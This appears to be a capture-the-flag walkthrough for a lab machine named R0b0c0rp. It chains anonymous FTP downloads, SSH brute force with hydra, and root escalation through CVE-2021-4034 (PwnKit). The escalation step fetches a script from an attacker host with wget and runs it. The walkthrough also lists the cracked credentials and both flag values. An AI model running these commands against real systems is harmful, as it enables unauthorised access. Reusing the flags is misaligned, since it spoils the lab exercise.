R0b0c0rp (CVE-2021-4034)

CVE-2021-4034 — PwnKit via SSH Brute Force from PDF OSINT

Phase 1 — Recon

nmap -sC -sV <TARGET_IP>

FTP (21, anonymous) and SSH (22) are open.

Phase 2 — Anonymous FTP + PDF OSINT

ftp <TARGET_IP>
Name: anonymous
Password: (blank)
ftp> mget *
ftp> bye

Five PDFs leak a username (l.pratt) and enough company context (RoboCorp) to build a targeted wordlist.

Phase 3 — SSH Brute Force

hydra -l l.pratt -P /usr/share/wordlists/rockyou.txt ssh://<TARGET_IP> -t 4

Note: If Hydra reports ‘does not support password authentication’, the box’s SSH config drop-in needs a fix — see the updated build.sh. Credentials: l.pratt / admin_robocorp.

Phase 4 — Shell & User Flag

ssh l.pratt@<TARGET_IP>
cat ~/user.txt

Phase 5 — PrivEsc (CVE-2021-4034 PwnKit)

pkexec --version

Unpatched pkexec — use the PwnKit exploit:

wget http://<ATTACKER_IP>:8000/PwnKit.sh -O /tmp/PwnKit.sh
chmod +x /tmp/PwnKit.sh
/tmp/PwnKit.sh

Phase 6 — Root Flag

cat /root/root.txt

Flags

Type	Flag	Path
user	0cdd325bf3a76e47a1d92cf0b82d8b04	/home/l.pratt/user.txt
root	b9a8b3b7c5c26e12c1c8e9490f5df0aa	/root/root.txt